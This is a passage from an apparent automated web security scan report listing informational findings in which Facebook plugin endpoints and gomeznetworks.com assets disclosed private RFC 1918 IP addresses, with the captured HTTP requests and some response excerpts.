Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.56. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.68.67

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1e74f768c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.57. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.87.65

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1a9a3ca68%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffc5cdb83%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.58. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.180.132

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1c1d0233c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Fstock%2FC&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.59. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.151.105

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2fbaf75fc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff20f8a9138%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.60. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.51.81

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3efc58418%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.61. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.107.21

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df295692bd8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html%23&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.62. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.92.33

Request

GET /plugins/like.php?href=http%3A%2F%2Fkara.allthingsd.com%2F20110513%2Fdear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy%2F%3Fmod%3Dfb&layout=button_count&show_faces=false&width=90&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.63. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.215.71

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3c10f2bcc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3a5c1a74c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748704681904576315662838806984.html%3Fmod%3DWSJ_newsreel_personalFinance&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576315662838806984.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.64. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.195.23

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2211b615c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff132faa68%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576317293981683266.html&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.65. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.122.73

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1441c2d7c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Foil-futures-ease-but-stay-above-98-a-barrel-2011-05-12&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.66. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.44.35

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df299faf6%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff36b01c5cc%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.67. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.125.85

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df13c01d5cc%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ffff1ed894%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.68. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.220.107

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1db6e95b%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2cb26fd4c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Fstock%2FORCL&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.69. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.126.27

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2cc7cb774%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff322927c3%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703730804576313682030967852.html%23&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.70. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.27.162.116

Request

GET /plugins/like.php?href=http%3a%2f%2fwww.fins.com%2fJob-Interview-Tips4.aspx&layout=button_count&show_faces=true&width=100&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/Job-Interview-Tips
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.71. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.179.119

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df39bf0c86c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff24d582c5c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Fstory%2Fmedicare-social-security-finance-outlook-worsens-2011-05-13-1223390&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.72. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.228.37

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df233403828%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576314083707711492--LESS.html&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.73. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.128.75

Request

GET /plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2b80afa9c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748704681904576319301584731990.html%3Fmod%3DWSJ_newsreel_personalFinance&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.74. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.42.67

Request

GET /plugins/like.php?api_key=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df24fe624ec%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fwww.marketwatch.com%2Finvesting%2Findex%2FDXY&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=120 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

24.75. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.51.48

Request

Response

24.76. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.157.61

Request

Response

24.77. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.179.112

Request

Response

24.78. http://www.facebook.com/widgets/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/widgets/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.87.43

Request

Response

24.79. http://www.gomeznetworks.com/css/GomezTheme.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/css/GomezTheme.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.98

Request

Response

24.80. http://www.gomeznetworks.com/css/GomezTheme.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/css/GomezTheme.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.97

Request

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.97CKKUY; path=/
Content-Type: text/css
Last-Modified: Fri, 29 Apr 2011 21:36:48 GMT
Accept-Ranges: bytes
ETag: "0d8218bb56cc1:e0e"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:50:25 GMT
Content-Length: 25942

....theme
{
min-width: 980px;
width: expression(document.body.clientWidth < 980 ? "980px" : "auto");
margin: 0px 0px 0px 0px;
}

.header
{
min-width: 980px;
width: expression(
...[SNIP]...

24.81. http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/compuware_gomez_logo.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.97

Request

Response

24.82. http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/compuware_gomez_logo.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.98

Request

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=ZXLZXXS10.0.61.98CKKUL; path=/
Cache-Control: max-age=3600
Content-Length: 13069
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2011 21:36:25 GMT
Accept-Ranges: bytes
ETag: "7c2f8b7db56cc1:dc2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:50:27 GMT

.PNG
.
...IHDR.......0......Z.V... pHYs................NiCCPPhotoshop ICC profile..x..Yi8...^...9.p...y..2...!..1.q.TJ.P.BH...". DH."I.Q....C=......../..a_.u......}........h.. &6..jm&...+N...0@...
...[SNIP]...

24.83. http://www.gomeznetworks.com/images/theme/platform_theme.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gomeznetworks.com
Path:	/images/theme/platform_theme.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.0.61.97

Request

Response

